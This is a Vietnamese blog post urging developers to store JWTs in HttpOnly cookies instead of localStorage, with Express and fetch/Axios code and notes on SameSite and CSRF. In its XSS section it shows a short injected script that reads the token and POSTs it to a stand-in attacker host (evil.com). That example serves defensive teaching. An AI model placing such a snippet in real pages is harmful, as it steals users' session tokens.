Ngừng Lưu Token Trong LocalStorage: Hãy Dùng HttpOnly

Ngừng Lưu Token Trong LocalStorage: Hãy Dùng HttpOnly

LocalStorage rất dễ bị tấn công XSS. Tìm hiểu lý do bạn nên ngừng lưu JWT tại đây và chuyển sang dùng HttpOnly cookie để bảo mật tối đa.

Nếu bạn đang xây dựng một ứng dụng Single Page Application (SPA) hiện đại bằng React, Vue hay Svelte, xác suất rất cao là bạn đang sử dụng JSON Web Tokens (JWT) để xử lý xác thực (authentication). Và nếu bạn giống như phần lớn các lập trình viên học qua các bài hướng dẫn trên mạng, có lẽ bạn đang lưu token đó thẳng vào localStorage.

Cách làm này mang lại cảm giác cực kỳ trực quan. Người dùng đăng nhập thành công, API của bạn trả về một chuỗi token, và bạn chỉ cần gọi localStorage.setItem('token', token). Bất cứ khi nào cần gọi API lấy dữ liệu bảo mật, bạn chỉ việc móc token ra và gắn nó vào header Authorization. Rất tiện lợi đúng không?

Nhưng đằng sau sự tiện lợi đó là một lỗ hổng bảo mật chết người. Hôm nay, chúng ta sẽ bàn về lý do tại sao bạn phải ngừng ngay việc lưu access token trong localStorage, và cách triển khai một giải pháp thay thế an toàn hơn nhiều: HttpOnly Cookie.

Điểm Yếu Chí Tử Của LocalStorage: XSS

Để hiểu tại sao localStorage lại nguy hiểm khi lưu trữ dữ liệu nhạy cảm, chúng ta cần nói về tấn công XSS (Cross-Site Scripting).

Đặc điểm của localStorage là nó cho phép bất kỳ đoạn mã JavaScript nào chạy trên domain của bạn truy cập và đọc dữ liệu. Điều này có nghĩa là, nếu một kẻ tấn công có thể chèn và thực thi mã JavaScript của chúng trên trang web của bạn, chúng có thể đọc toàn bộ nội dung trong localStorage.

Bạn có thể nghĩ rằng: "Code do tôi viết ra rất an toàn, tôi không bao giờ để xảy ra lỗi XSS." Nhưng lập trình web hiện đại phụ thuộc cực nhiều vào hệ sinh thái NPM. Ứng dụng của bạn có thể đang import hàng trăm thư viện từ bên thứ ba. Nếu chỉ một trong số các dependency đó (hoặc dependency của dependency) bị hack trong một cuộc tấn công chuỗi cung ứng (supply chain attack), mã độc hoàn toàn có thể bị lọt vào bản build production của bạn.

Một khi kẻ tấn công có quyền thực thi JavaScript, việc đánh cắp token dễ như trở bàn tay:

// Đoạn mã độc bị chèn qua lỗ hổng XSS
const stolenToken = localStorage.getItem('token');
fetch('https://evil.com/steal-token', { 
  method: 'POST', 
  body: stolenToken 
});

Một khi có được token, chúng có thể đóng giả người dùng của bạn cho đến khi token đó hết hạn. Chúng không cần biết mật khẩu của người dùng; chúng đã có chiếc chìa khóa vạn năng rồi.

Hacker ngồi trong phòng tối gõ máy tính

Cách tốt nhất để bảo vệ token khỏi XSS là đừng cho JavaScript nhìn thấy nó. Đây chính xác là những gì cờ HttpOnly trên Cookie làm được.

Khi server của bạn trả về token bên trong một HttpOnly cookie, trình duyệt (browser) sẽ lưu nó lại nhưng giấu hoàn toàn khỏi API document.cookie. Không một đoạn mã JavaScript nào trên frontend—dù là code của bạn hay mã độc—có thể đọc được nó.

Thay vào đó, trình duyệt sẽ tự động làm nhiệm vụ vận chuyển. Mỗi khi frontend thực hiện một HTTP request đến domain đã set cookie, trình duyệt sẽ tự động đính kèm cookie đó vào header của request.

Triển Khai Ở Phía Backend

Máy chủ dữ liệu bảo mật bị khóa

Hãy xem cách thiết lập cơ chế này bằng Node.js và Express. Thay vì trả về token trong phần body dạng JSON, bạn đính kèm nó dưới dạng cookie.

app.post('/api/login', async (req, res) => {
  const { username, password } = req.body;
  const user = await authenticateUser(username, password);
  
  if (!user) {
    return res.status(401).json({ error: 'Sai thông tin đăng nhập' });
  }

  // Tạo JWT
  const token = jwt.sign({ userId: user.id }, process.env.JWT_SECRET, {
    expiresIn: '1h'
  });

  // Gửi token qua HttpOnly cookie
  res.cookie('token', token, {
    httpOnly: true,
    secure: process.env.NODE_ENV === 'production', // Chỉ gửi qua HTTPS
    sameSite: 'strict', 
    maxAge: 3600000 // 1 giờ tính bằng mili-giây
  });

  res.json({ message: 'Đăng nhập thành công', user: { id: user.id, name: user.name } });
});

Hãy cùng phân tích các cờ (flags) quan trọng này:

  • httpOnly: true: Cờ phép thuật. JavaScript không thể đọc được cookie này.
  • secure: Khi bật true, cookie chỉ được gửi đi qua kết nối mã hóa HTTPS. Luôn bật cờ này trên môi trường production.
  • sameSite: 'strict': Cực kỳ quan trọng để chống lại tấn công CSRF (sẽ giải thích chi tiết bên dưới). Nó đảm bảo cookie chỉ được gửi nếu request xuất phát từ chính domain của bạn.
  • maxAge: Báo cho trình duyệt biết khi nào thì nên tự động xóa cookie này.

Đơn Giản Hóa Code Frontend

Một trong những "tác dụng phụ" tuyệt vời của việc dùng cookie là code frontend của bạn thực sự nhàn đi rất nhiều.

Bạn không cần phải viết các hàm interceptor rườm rà trong Axios để lôi token từ localStorage ra và nhét vào header Authorization: Bearer nữa. Trình duyệt đã lo khâu vận chuyển rồi.

Bạn chỉ cần đảm bảo HTTP client của bạn được cấu hình để cho phép đính kèm thông thức xác thực (credentials) vào request.

Nếu bạn dùng fetch API mặc định:

fetch('https://api.yoursite.com/profile', {
  method: 'GET',
  credentials: 'include' // Báo cho fetch gửi kèm cookie
})
.then(res => res.json())
.then(data => console.log(data));

Nếu bạn dùng Axios, bạn có thể cấu hình mặc định (global):

import axios from 'axios';

// Báo cho axios luôn gửi kèm cookie với mọi request
axios.defaults.withCredentials = true;

// Giờ thì chỉ việc gọi API thôi!
const response = await axios.get('https://api.yoursite.com/profile');

Giải Quyết Bài Toán CSRF

Nếu bạn đã từng tìm hiểu về bảo mật web, có thể bạn đang thắc mắc: "Khoan đã, dùng cookie thì chẳng phải rất dễ bị tấn công CSRF (Cross-Site Request Forgery) sao?"

Trong quá khứ, điều này hoàn toàn đúng. CSRF xảy ra khi một trang web độc hại lừa trình duyệt của người dùng gửi một request ẩn đến trang web của bạn. Vì trình duyệt luôn tự động đính kèm cookie, request độc hại đó sẽ vượt qua được vòng xác thực.

Tuy nhiên, các trình duyệt hiện đại đã mang đến cho chúng ta thuộc tính SameSite.

Bằng cách thiết lập SameSite=Strict (hoặc Lax), bạn đang nói với trình duyệt một cách rõ ràng: "Tuyệt đối không gửi cookie này nếu request xuất phát từ một domain khác." Cờ cấu hình đơn giản này đã vô hiệu hóa gần như toàn bộ các hình thức tấn công CSRF. Kết hợp thêm việc cấu hình CORS chặt chẽ, ứng dụng của bạn sẽ trở thành một pháo đài vững chắc.

Vậy Khi Nào Nên Dùng LocalStorage?

Tôi không nói rằng localStorage hoàn toàn vô dụng. Nó vẫn là một công cụ tuyệt vời để lưu trữ các dữ liệu không nhạy cảm.

Bạn có thể thoải mái sử dụng localStorage cho những việc sau:

  • Lưu tùy chọn giao diện của người dùng (ví dụ: đang bật Dark Mode hay Light Mode).
  • Cache lại các state của ứng dụng hoặc trạng thái các menu đóng/mở.
  • Lưu tạm bản nháp của một form mà người dùng đang nhập dở.

Nói tóm lại, hãy cứ dùng nó, chỉ là đừng bỏ chìa khóa kho báu vào đó là được.

Kết Luận

Việc chuyển từ localStorage sang HttpOnly cookie sẽ đòi hỏi bạn phải thay đổi tư duy và sửa lại cấu trúc code backend một chút, đặc biệt là nếu API và Frontend của bạn nằm ở hai domain hoàn toàn khác nhau (đòi hỏi phải cấu hình CORS và SameSite rất cẩn thận).

Tuy nhiên, những lợi ích về mặt bảo mật mang lại là không thể thỏa hiệp đối với bất kỳ một ứng dụng production nghiêm túc nào. Hãy ngừng việc dâng hiến token xác thực của người dùng cho bất kỳ đoạn mã script vớ vẩn nào chạy trên trang. Hãy để trình duyệt làm đúng nhiệm vụ bảo mật vốn có của nó, và giữ cho dữ liệu hệ thống luôn an toàn.

NT

viết bởi

Nguyên Tech

0

Phản hồi

Đang tải bình luận…

Lattice.

Một không gian để viết dài, đọc chậm, và trò chuyện thật — không thuật toán, không quảng cáo.

© 2026 · Lattice · Đà Nẵng (16°03′ N, 108°12′ E) · v0.1 · system + ink + indigo